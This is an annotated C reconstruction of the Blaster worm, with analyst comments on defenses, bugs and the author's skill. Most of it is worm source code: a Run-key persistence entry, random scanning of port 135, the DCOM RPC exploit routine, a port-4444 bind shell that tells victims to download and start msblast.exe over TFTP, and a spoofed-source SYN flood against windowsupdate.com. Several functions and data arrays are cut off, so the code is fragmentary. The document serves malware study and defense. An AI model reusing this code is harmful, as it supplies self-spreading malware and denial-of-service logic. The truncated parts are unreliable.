/* * These strings aren't used in the worm, Buford put them here * so that whitehat researchers would discover them. * BUFORD: Note that both of these messages are the typical * behavior of a teenager who recently discovered love, and * is in the normal teenage mode of challenging authority. */ const char msg1[]="I just want to say LOVE YOU SAN!!"; const char msg2[]="billy gates why do you make this possible ?" " Stop making money and fix your software!!";
/* * Buford probably put the worm name as a "define" at the top * of his program so that he could change the name at any time. * 2003-09-29: This is the string that Parson changed. */ #define MSBLAST_EXE "msblast.exe"
/* * MS-RPC/DCOM runs over port 135. * DEFENSE: firewalling port 135 will prevent systems from * being exploited and will hinder the spread of this worm. */ #define MSRCP_PORT_135 135
/* * The TFTP protocol is defined to run on port 69. Once this * worm breaks into a victim, it will command it to download * the worm via TFTP. Therefore, the worms briefly runs a * TFTP service to deliver that file. * DEFENSE: firewalling 69/udp will prevent the worm from * fully infected a host. */ #define TFTP_PORT_69 69
/* * The shell-prompt is established over port 4444. The * exploit code (in the variable 'sc') commands the victim * to "bind a shell" on this port. The exploit then connects * to that port to send commands, such as TFTPing the * msblast.exe file down and launching it. * DEFENSE: firewalling 4444/tcp will prevent the worm from * spreading. */ #define SHELL_PORT_4444 4444
/* * A simple string to hold the current IP address */ char target_ip_string[16];
/* * A global variable to hold the socket for the TFTP service. */ int fd_tftp_service;
/* * Global flag to indicate this thread is running. This * is set when the thread starts, then is cleared when * the thread is about to end. * This demonstrates that Buford isn't confident with * multi-threaded programming -- he should just check * the thread handle. */ int is_tftp_running;
/* * When delivering the worm file to the victim, it gets the * name by querying itself using GetModuleFilename(). This * makes it easier to change the filename or to launch the * worm. */ char msblast_filename[256+4];
/*************************************************************** * This is where the 'msblast.exe' program starts running ***************************************************************/ void main(int argc, char *argv[]) { WSADATA WSAData; char myhostname[512]; char daystring[3]; char monthstring[3]; HKEY hKey; int ThreadId; register unsigned long scan_local=0;
/* * Create a registry key that will cause this worm * to run every time the system restarts. * DEFENSE: Slammer was "memory-resident" and could * be cleaned by simply rebooting the machine. * Cleaning this worm requires this registry entry * to be deleted. */ RegCreateKeyEx( /*hKey*/ HKEY_LOCAL_MACHINE, /*lpSubKey*/ "SOFTWARE\\Microsoft\\Windows\\" "CurrentVersion\\Run", /*Reserved*/ 0, /*lpClass*/ NULL, /*dwOptions*/ REG_OPTION_NON_VOLATILE, /*samDesired */ KEY_ALL_ACCESS, /*lpSecurityAttributes*/ NULL, /*phkResult */ &hKey, /*lpdwDisposition */ 0); RegSetvalueExA( hKey, "windows auto update", 0, REG_SZ, MSBLAST_EXE, 50); RegCloseKey(hKey);
/* * Make sure this isn't a second infection. A common problem * with worms is that they sometimes re-infect the same * victim repeatedly, eventually crashing it. A crashed * system cannot spread the worm. Therefore, worm writers * now make sure to prevent reinfections. The way Blaster * does this is by creating a system "global" object called * "BILLY". If another program in the computer has already * created "BILLY", then this instance won't run. * DEFENSE: this implies that you can remove Blaster by * creating a mutex named "BILLY". When the computer * restarts, Blaster will falsely believe that it has * already infected the system and will quit. */ CreateMutexA(NULL, TRUE, "BILLY"); if (GetLastError() == ERROR_ALREADY_EXISTS) ExitProcess(0);
/* * Windows systems requires "WinSock" (the network API layer) * to be initialized. Note that the SYNflood attack requires * raw sockets to be initialized, which only works in * version 2.2 of WinSock. * BUFORD: The following initialization is needlessly * complicated, and is typical of programmers who are unsure * of their knowledge of sockets.. */ if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0 && WSAStartup(MAKEWORD(1,1), &WSAData) != 0 && WSAStartup(1, &WSAData) != 0) return;
/* * The worm needs to read itself from the disk when * transferring to the victim. Rather than using a hard-coded * location, it discovered the location of itself dynamically * through this function call. This has the side effect of * making it easier to change the name of the worm, as well * as making it easier to launch it. */ GetModuleFileNameA(NULL, msblast_filename, sizeof(msblast_filename));
/* * When the worm infects a dialup machine, every time the user * restarts their machine, the worm's network communication * will cause annoying 'dial' popups for the user. This will * make them suspect their machine is infected. * The function call below makes sure that the worm only * starts running once the connection to the Internet * has been established and not before. * BUFORD: I think Buford tested out his code on a machine * and discovered this problem. Even though much of the * code indicates he didn't spend much time on * testing his worm, this line indicates that he did * at least a little bit of testing. */ while (!InternetGetConnectedState(&ThreadId, 0)) Sleep (20000); /*wait 20 seconds and try again */
/* * Initialize the low-order byte of target IP address to 0. */ ClassD = 0;
/* * The worm must make decisions "randomly": each worm must * choose different systems to infect. In order to make * random choices, the programmer must "seed" the random * number generator. The typical way to do this is by * seeding it with the current timestamp. * BUFORD: Later in this code you'll find that Buford calls * 'srand()' many times to reseed. This is largely * unnecessary, and again indicates that Buford is not * confident in his programming skills, so he constantly * reseeds the generator in order to make extra sure he * has gotten it right. */ srand(GetTickCount());
/* * This initializes the "local" network to some random * value. The code below will attempt to figure out what * the true local network is -- but just in case it fails, * the initialization fails, using random values makes sure * the worm won't do something stupid, such as scan the * network around 0.0.0.0 */ local_class_a = (rand() % 254)+1; local_class_b = (rand() % 254)+1;
/* * This discovers the local IP address used currently by this * victim machine. Blaster randomly chooses to either infect * just the local ClassB network, or some other network, * therefore it needs to know the local network. * BUFORD: The worm writer uses a complex way to print out * the IP address into a string, then parse it back again * to a number. This demonstrates that Buford is fairly * new to C programming: he thinks in terms of the printed * representation of the IP address rather than in its * binary form. */ if (gethostname(myhostname, sizeof(myhostname)) != -1) { HOSTENT *p_hostent = gethostbyname(myhostname);
if (ClassC > 20) { /* When starting from victim's address range, * try to start a little bit behind. This is * important because the scanning logic only * move forward. */ srand(GetTickCount()); ClassC -= (rand() % 20); } local_class_a = ClassA; local_class_b = ClassB; scan_local = TRUE; } }
/* * This chooses whether Blaster will scan just the local * network (40% chance) or a random network (60% chance) */ srand(GetTickCount()); if ((rand() % 20) < 12) scan_local = FALSE;
/* * The known exploits require the hacker to indicate whether * the victim is WinXP or Win2k. The worm has to guess. The * way it guesses is that it chooses randomly. 80% of the time * it will assume that all victims are WinXP, and 20% of the * time it will assume all victims are Win2k. This means that * propogation among Win2k machines will be slowed down by * the fact Win2k machines are getting DoSed faster than they * are getting exploited. */ winxp1_or_win2k2 = 1; if ((rand()%10) > 7) winxp1_or_win2k2 = 2;
/* * If not scanning locally, then choose a random IP address * to start with. * BUG: this worm choose bad ranges above 224. This will * cause a bunch of unnecessary multicast traffic. Weird * multicast traffic has historically been an easy way of * detecting worm activity. */ if (!scan_local) { ClassA = (rand() % 254)+1; ClassB = (rand() % 254); ClassC = (rand() % 254); }
/* * Check the date so that when in the certain range, it will * trigger a DoS attack against Micosoft. The following * times will trigger the DoS attack: * Aug 16 through Aug 31 * Spt 16 through Spt 30 * Oct 16 through Oct 31 * Nov 16 through Nov 30 * Dec 16 through Dec 31 * This applies to all years, and is based on local time. * FAQ: The worm is based on "local", not "global" time. * That means the DoS attack will start from Japan, * then Asia, then Europe, then the United States as the * time moves across the globe. */ #define MYLANG MAKELANGID(LANG_ENGLISH, SUBLANG_DEFAULT) #define LOCALE_409 MAKELCID(MYLANG, SORT_DEFAULT) GetDateformat( LOCALE_409, 0, NULL, /*localtime, not GMT*/ "d", daystring, sizeof(daystring)); GetDateformat( LOCALE_409, 0, NULL, /*localtime, not GMT*/ "M", monthstring, sizeof(monthstring)); if (atoi(daystring) > 15 && atoi(monthstring) > 8) CreateThread(NULL, 0, blaster_DoS_thread, 0, 0, &ThreadId);
/* * As the final task of the program, go into worm mode * trying to infect systems. */ for (;;) blaster_spreader();
/* * It'll never reach this point, but in theory, you need a * WSACleanup() after a WSAStartup(). */ WSACleanup(); }
/* * This will be called from CreateThread in the main worm body * right after it connects to port 4444. After the thread is * started, it then sends the string " * tftp -i %d.%d.%d.%d GET msblast.exe" (where the %ds represents * the IP address of the attacker). * Once it sends the string, it then waits for 20 seconds for the * TFTP server to end. If the TFTP server doesn't end, it calls * TerminateThread. */ DWORD WINAPI blaster_tftp_thread(LPVOID p) { /* * This is the protocol format of a TFTP packet. This isn't * used in the code -- I just provide it here for reference */ struct TFTP_Packet { short opcode; short block_id; char data[512]; };
char reqbuf[512]; /* request packet buffer */ struct sockaddr_in server; /* server-side port number */ struct sockaddr_in client; /* client IP address and port */ int sizeof_client; /* size of the client structure*/ char rspbuf[512]; /* response packet */
static int fd; /* the socket for the server*/ register FILE *fp; register block_id; register int block_size;
/* Set a flag indicating this thread is running. The other * thread will check this for 20 seconds to see if the TFTP * service is still alive. If this thread is still alive in * 20 seconds, it will be killed. */ is_tftp_running = TRUE; /*1 == TRUE*/
/* Create a server-socket to listen for UDP requests on */ fd = socket(AF_INET, SOCK_DGRAM, 0); if (fd == SOCKET_ERROR) goto closesocket_and_exit;
/* Bind the socket to 69/udp */ memset(&server, 0, sizeof(server)); server.sin_family = AF_INET; server.sin_port = htons(TFTP_PORT_69); server.sin_addr.s_addr = 0; /*TFTP server addr = <any>*/ if (bind(fd, (struct sockaddr*)&server, sizeof(server)) != 0) goto closesocket_and_exit;
/* Receive a packet, any packet. The contents of the received * packet are ignored. This means, BTW, that a defensive * "worm-kill" could send a packet from somewhere else. This * will cause the TFTP server to download the msblast.exe * file to the wrong location, preventing the victim from * doing the download. */ sizeof_client = sizeof(client); if (recvfrom(fd, reqbuf, sizeof(reqbuf), 0, (struct sockaddr*)&client, &sizeof_client) <= 0) goto closesocket_and_exit;
/* The TFTP server will respond with many 512 byte blocks * until it has completely sent the file; each block must * have a unique ID, and each block must be acknowledged. * BUFORD: The worm ignores TFTP ACKs. This is probably why * the worm restarts the TFTP service rather than leaving it * enabled: it essentially flushes all the ACKs from the * the incoming packet queue. If the ACKs aren't flushed, * the worm will incorrectly treat them as TFTP requests. */ block_id = 0;
/* Open this file. GetModuleFilename was used to figure out * this filename. */ fp = fopen(msblast_filename, "rb"); if (fp == NULL) goto closesocket_and_exit;
/* Continue sending file fragments until none are left */ for (;;) { block_id++;
/* Read next block of data (about 12 blocks total need * to be read) */ block_size = fread(rspbuf+4, 1, 512, fp);
/* Increase the effective length to include the TFTP * head built above */ block_size += 4;
/* Send this block */ if (sendto(fd, (char*)&rspbuf, block_size, 0, (struct sockaddr*)&client, sizeof_client) <= 0) break;
/* Sleep for a bit. * The reason for this is because the worm doesn't care * about retransmits -- it therefore must send these * packets slow enough so congestion doesn't drop them. * If it misses a packet, then it will DoS the victim * without actually infecting it. Worse: the intended * victim will continue to send packets, preventing the * worm from infecting new systems because the * requests will misdirect TFTP. This design is very * bad, and is my bet as the biggest single factor * that slows down the worm. */ Sleep(900);
/* File transfer ends when the last block is read, which * will likely be smaller than a full-sized block*/ if (block_size != sizeof(rspbuf)) { fclose(fp); fp = NULL; break; } }
if (fp != NULL) fclose(fp);
closesocket_and_exit:
/* Notify that the thread has stopped, so that the waiting * thread can continue on */ is_tftp_running = FALSE; closesocket(fd); ExitThread(0);
return 0; }
/* * This function increments the IP address. * BUFORD: This conversion from numbers, to strings, then back * to number is overly complicated. Experienced programmers * would simply store the number and increment it. This shows * that Buford does not have much experience work with * IP addresses. */ void blaster_increment_ip_address() { for (;;) { if (ClassD <= 254) { ClassD++; return; }
/* * This is called from the main() function in an * infinite loop. It scans the next 20 addresses, * then exits. */ void blaster_spreader() { fd_set writefds;
register int i; struct sockaddr_in sin; struct sockaddr_in peer; int sizeof_peer; int sockarray[20]; int opt = 1; const char *victim_ip;
/* Create the beginnings of a "socket-address" structure that * will be used repeatedly below on the 'connect()' call for * each socket. This structure specified port 135, which is * the port used for RPC/DCOM. */ memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(MSRCP_PORT_135);
/* Create an array of 20 socket descriptors */ for (i=0; i<20; i++) { sockarray[i] = socket(AF_INET, SOCK_STREAM, 0); if (sockarray[i] == -1) return; ioctlsocket(sockarray[i], FIONBIO , &opt); }
/* Initiate a "non-blocking" connection on all 20 sockets * that were created above. * FAQ: Essentially, this means that the worm has 20 * "threads" -- even though they aren't true threads. */ for (i=0; i<20; i++) { int ip;
ip = inet_addr(target_ip_string); if (ip == -1) return; sin.sin_addr.s_addr = ip; connect(sockarray[i],(struct sockaddr*)&sin,sizeof(sin)); }
/* Wait 1.8-seconds for a connection. * BUG: this is often not enough, especially when a packet * is lost due to congestion. A small timeout actually makes * the worm slower than faster */ Sleep(1800);
/* Now test to see which of those 20 connections succeeded. * BUFORD: a more experienced programmer would have done * a single 'select()' across all sockets rather than * repeated calls for each socket. */ for (i=0; i<20; i++) { struct timeval timeout; int nfds;
/* If connection succeeds, exploit the victim */ blaster_exploit_target(sockarray[i], victim_ip); closesocket(sockarray[i]); } }
}
/* * This is where the victim is actually exploited. It is the same * exploit as created by xfocus and altered by HDMoore. * There are a couple of differences. The first is that the in * those older exploits, this function itself would create the * socket and connect, whereas in Blaster, the socket is already * connected to the victim via the scanning function above. The * second difference is that the packets/shellcode blocks are * declared as stack variables rather than as static globals. * Finally, whereas the older exploits give the hacker a * "shell prompt", this one automates usage of the shell-prompt * to tell the victim to TFTP the worm down and run it. */ void blaster_exploit_target(int sock, const char *victim_ip) {
/* These blocks of data are just the same ones copied from the * xfocus exploit prototype. Whereas the original exploit * declared these as "static" variables, Blaster declares * these as "stack" variables. This is because the xfocus * exploit altered them -- they must be reset back to their * original values every time. */ unsigned char bindstr[]={ 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
int ThreadId; int len; int sizeof_sa; int ret; int opt; void *hThread; struct sockaddr_in target_ip; struct sockaddr_in sa; int fd; char cmdstr[0x200]; int len1; unsigned char buf2[0x1000]; int i;
/* * Turn off non-blocking (i.e. re-enable blocking mode) * DEFENSE: Tarpit programs (e.g. 'labrea' or 'deredoc') * will slow down the spread of this worm. It takes a long * time for blocking calls to timeout. I had several * thousand worms halted by my 'deredoc' tarpit. */ opt = 0; ioctlsocket(sock, FIONBIO , &opt);
/* * Choose whether the exploit targets Win2k or WinXP. */ if (winxp1_or_win2k2 == 1) ret = 0x100139d; else ret = 0x18759f; memcpy(sc+36, (unsigned char *) &ret, 4);
/* ---------------------------------------------- * This section is just copied from the original exploit * script. This is the same as the scripts that have been * widely published on the Internet. */ len=sizeof(sc); memcpy(buf2,request1,sizeof(request1)); len1=sizeof(request1);
*(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2; *(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2;
*(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc; *(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc;
if (send(sock,bindstr,sizeof(bindstr),0)== -1) { //perror("- Send"); return; }
/* * This section of code connects to the victim on port 4444. * DEFENSE : This means you can block this worm by blocking * TCP port 4444. * FAQ: This port is only open for the brief instant needed * to exploit the victim. Therefore, you can't scan for * port 4444 in order to find Blaster victims. */ if ((fd=socket(AF_INET,SOCK_STREAM,0)) == -1) return; memset(&target_ip, 0, sizeof(target_ip)); target_ip.sin_family = AF_INET; target_ip.sin_port = htons(SHELL_PORT_4444); target_ip.sin_addr.s_addr = inet_addr(victim_ip); if (target_ip.sin_addr.s_addr == SOCKET_ERROR) return; if (connect(fd, (struct sockaddr*)&target_ip, sizeof(target_ip)) == SOCKET_ERROR) return;
/* * This section recreates the IP address from whatever IP * address this successfully connected to. In practice, * the strings "victim_ip" and "target_ip_string" should be * the same. */ memset(target_ip_string, 0, sizeof(target_ip_string)); sizeof_sa = sizeof(sa); getsockname(fd, (struct sockaddr*)&sa, &sizeof_sa); sprintf(target_ip_string, "%d.%d.%d.%d", sa.sin_addr.s_net, sa.sin_addr.s_host, sa.sin_addr.s_lh, sa.sin_addr.s_impno);
/* * This section creates a temporary TFTP service that is * ONLY alive during the period of time that the victim * needs to download. * FAQ: You can't scan for TFTP in order to find Blaster * victims because the port is rarely open. */ if (fd_tftp_service) closesocket(fd_tftp_service); hThread = CreateThread(0,0, blaster_tftp_thread,0,0,&ThreadId); Sleep(80); /*give time for thread to start*/
/* * This sends the command * tftp -i 1.2.3.4 GET msblast.exe * to the victim. The "tftp.exe" program is built into * Windows. It's intended purpose is to allow users to * manually update their home wireless access points with * new software (and other similar tasks). However, it is * not intended as a generic file-transfer protocol (it * stands for "trivial-file-transfer-protocol" -- it is * intended for only trivial tasks). Since a lot of hacker * exploits use the "tftp.exe" program, a good hardening * step is to remove/rename it. */ sprintf(cmdstr, "tftp -i %s GET %s\n", target_ip_string, MSBLAST_EXE); if (send(fd, cmdstr, strlen(cmdstr), 0) <= 0) goto closesocket_and_return;
/* * Wait 21 seconds for the victim to request the file, then * for the file to be delivered via TFTP. */ Sleep(1000); for (i=0; i<10 && is_tftp_running; i++) Sleep(2000);
/* * Assume the the transfer is successful, and send the * command to start executing the newly downloaded program. * BUFORD: The hacker starts this twice. Again, it * demonstrates a lock of confidence, so he makes sure it's * started by doing it twice in slightly different ways. * Note that the "BILLY" mutex will prevent from actually * running twice. */ sprintf(cmdstr, "start %s\n", MSBLAST_EXE); if (send(fd, cmdstr, strlen(cmdstr), 0) <= 0) goto closesocket_and_return; Sleep(2000); sprintf(cmdstr, "%s\n", MSBLAST_EXE); send(fd, cmdstr, strlen(cmdstr), 0); Sleep(2000);
/* * This section closes the things started in this procedure */ closesocket_and_return:
/* Close the socket for the remote command-prompt that has * been established to the victim. */ if (fd != 0) closesocket(fd);
/* Close the TFTP server that was launched above. As noted, * this means that the TFTP service is not running most of * the time, so it's not easy to scan for infected systems. */ if (is_tftp_running) { TerminateThread(hThread,0); closesocket(fd_tftp_service); is_tftp_running = 0; } CloseHandle(hThread); }
/** * Convert the name into an IP address. If the IP address * is formatted in decimal-dot-notation (e.g. 192.2.0.43), * then return that IP address, otherwise do a DNS lookup * on the address. Note that in the case of the worm, * it always gives the string "windowsupdate.com" to this * function, and since Microsoft turned off that name, * the DNS lookup will usually fail, so this function * generally returns -1 (SOCKET_ERROR), which means the * address 255.255.255.255. */ int blaster_resolve_ip(const char *windowsupdate_com) { int result;
result = inet_addr(windowsupdate_com); if (result == SOCKET_ERROR) { HOSTENT *p_hostent = gethostbyname(windowsupdate_com); if (p_hostent == NULL) result = SOCKET_ERROR; else result = *p_hostent->h_addr; }
return result; }
/* * This thre */ ULONG WINAPI blaster_DoS_thread(LPVOID p) { int opt = 1; int fd; int target_ip;
/* Lookup the domain-name. Note that no checking is done * to ensure that the name is valid. Since Microsoft turned * this off in their domain-name servers, this function now * returns -1. */ target_ip = blaster_resolve_ip("windowsupdate.com");
/* Create a socket that the worm will blast packets at * Microsoft from. This is what is known as a "raw" socket. * So-called "raw-sockets" are ones where packets are * custom-built by the programmer rather than by the TCP/IP * stack. Note that raw-sockets were not available in Windows * until Win2k. A cybersecurity pundit called Microsoft * "irresponsible" for adding them. * <http://grc.com/dos/sockettome.htm> * That's probably an * unfairly harsh judgement (such sockets are available in * every other OS), but it's true that it puts the power of * SYNflood attacks in the hands of lame worm writers. While * the worm-writer would probably have chosen a different * DoS, such as Slammer-style UDP floods, it's likely that * Buford wouldn't have been able to create a SYNflood if * raw-sockets had not been added to Win2k/WinXP. */ fd = WSASocket( AF_INET, /*TCP/IP sockets*/ SOCK_RAW, /*Custom TCP/IP headers*/ IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED ); if (fd == SOCKET_ERROR) return 0;
/* Tell the raw-socket that IP headers will be created by the * programmer rather than the stack. Most raw sockets in * Windows will also have this option set. */ if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char*)&opt, sizeof(opt)) == SOCKET_ERROR) return 0;
/* Now do the SYN flood. The worm writer decided to flood * slowly by putting a 20-millisecond delay between packets * -- causing only 500 packets/second, or roughly, 200-kbps. * There are a couple of reasons why the hacker may have * chosen this. * 1. SYNfloods are not intended to be bandwidth floods, * even slow rates are hard to deal with. * 2. Slammer DoSed both the sender and receiver, therefore * senders hunted down infected systems and removed * them. This won't DoS the sender, so people are more * likely not to care about a few infected machines. */ for (;;) { blaster_send_syn_packet(target_ip, fd);
/* Q: How fast does it send the SYNflood? * A: About 50 packets/second, where each packet is * 320-bits in size, for a total of 15-kbps. * It means that Buford probably intended for * dialup users to be a big source of the DoS * attack. He was smart enough to realize that * faster floods would lead to users discovering * the worm and turning it off. */ Sleep(20); }
closesocket(fd); return 0; }
/* * This is a standard TCP/IP checksum algorithm * that you find all over the web. */ int blaster_checksum(const void *bufv, int length) { const unsigned short *buf = (const unsigned short *)bufv; unsigned long result = 0;
while (length > 1) { result += *(buf++); length -= sizeof(*buf); } if (length) result += *(unsigned char*)buf; result = (result >> 16) + (result & 0xFFFF); result += (result >> 16); result = (~result)&0xFFFF;
return (int)result; }
/* * This is a function that uses "raw-sockets" in order to send * a SYNflood at the victim, which is "windowsupdate.com" in * the case of the Blaster worm. */ void blaster_send_syn_packet(int target_ip, int fd) {
struct IPHDR { unsigned char verlen; /*IP version & length */ unsigned char tos; /*IP type of service*/ unsigned short totallength;/*Total length*/ unsigned short id; /*Unique identifier */ unsigned short offset; /*Fragment offset field*/ unsigned char ttl; /*Time to live*/ unsigned char protocol; /*Protocol(TCP, UDP, etc.)*/ unsigned short checksum; /*IP checksum*/ unsigned int srcaddr; /*Source address*/ unsigned int dstaddr; /*Destination address*/
}; struct TCPHDR { unsigned short srcport; unsigned short dstport; unsigned int seqno; unsigned int ackno; unsigned char offset; unsigned char flags; unsigned short window; unsigned short checksum; unsigned short urgptr; }; struct PSEUDO { unsigned int srcaddr; unsigned int dstaddr; unsigned char padzero; unsigned char protocol; unsigned short tcplength; }; struct PSEUDOTCP { unsigned int srcaddr; unsigned int dstaddr; unsigned char padzero; unsigned char protocol; unsigned short tcplength; struct TCPHDR tcphdr; };
char spoofed_src_ip[16]; unsigned short target_port = 80; /*SYNflood web servers*/ struct sockaddr_in to; struct PSEUDO pseudo; char buf[60] = {0}; struct TCPHDR tcp; struct IPHDR ip; int source_ip;
/* Yet another randomizer-seeding */ srand(GetTickCount());
/* Generate a spoofed source address that is local to the * current Class B subnet. This is pretty smart of Buford. * Using just a single IP address allows defenders to turn * it off on the firewall, whereas choosing a completely * random IP address would get blocked by egress filters * (because the source IP would not be in the proper range). * Randomly choosing nearby IP addresses it probably the * best way to evade defenses */ sprintf(spoofed_src_ip, "%i.%i.%i.%i", local_class_a, local_class_b, rand()%255, rand()%255); source_ip = blaster_resolve_ip(spoofed_src_ip);
/* Build the sockaddr_in structure. Normally, this is what * the underlying TCP/IP stack uses to build the headers * from. However, since the DoS attack creates its own * headers, this step is largely redundent. */ to.sin_family = AF_INET; to.sin_port = htons(target_port); /*this makes no sense */ to.sin_addr.s_addr = target_ip;
/* Create the IP header */ ip.verlen = 0x45; ip.totallength = htons(sizeof(ip) + sizeof(tcp)); ip.id = 1; ip.offset = 0; ip.ttl = 128; ip.protocol = IPPROTO_TCP; ip.checksum = 0; /*for now, set to true value below */ ip.dstaddr = target_ip;
/* Create the TCP header */ tcp.dstport = htons(target_port); tcp.ackno = 0; tcp.offset = (unsigned char)(sizeof(tcp)<<4); tcp.flags = 2; /*TCP_SYN*/ tcp.window = htons(0x4000); tcp.urgptr = 0; tcp.checksum = 0; /*for now, set to true value below */
/* Create pseudo header (which copies portions of the IP * header for TCP checksum calculation).*/ pseudo.dstaddr = ip.dstaddr; pseudo.padzero = 0; pseudo.protocol = IPPROTO_TCP; pseudo.tcplength = htons(sizeof(tcp));
/* Use the source adress chosen above that is close, but * not the same, as the spreader's IP address */ ip.srcaddr = source_ip;
/* Choose a random source port in the range [1000-19999].*/ tcp.srcport = htons((unsigned short)((rand()%1000)+1000));
/* Choose a random sequence number to start the connection. * BUG: Buford meant htonl(), not htons(), which means seqno * will be 15-bits, not 32-bits, i.e. in the range * [0-32767]. (the Windows rand() function only returns * 15-bits). */ tcp.seqno = htons((unsigned short)((rand()<<16)|rand()));
/* I have no idea what's going on here. The assembly code * zeroes out a bit of memory near the buffer. I don't know * if it is trying to zero out a real variable that happens * to be at the end of the buffer, or if it is trying to zero * out part of the buffer itself. */ memset(buf+sizeof(ip)+sizeof(tcp), 0, sizeof(buf)-sizeof(ip)-sizeof(tcp));
/* Major bug here: the worm writer incorrectly calculates the * IP checksum over the entire packet. This is incorrect -- * the IP checksum is just for the IP header itself, not for * the TCP header or data. However, Windows fixes the checksum * anyway, so the bug doesn't appear in the actual packets * themselves. */ ip.checksum = blaster_checksum(buf, sizeof(ip)+sizeof(tcp));
/* Copy the header over again. The reason for this is simply to * copy over the checksum that was just calculated above, but * it's easier doing this for the programmer rather than * figuring out the exact offset where the checksum is * located */ memcpy(buf, &ip, sizeof(ip));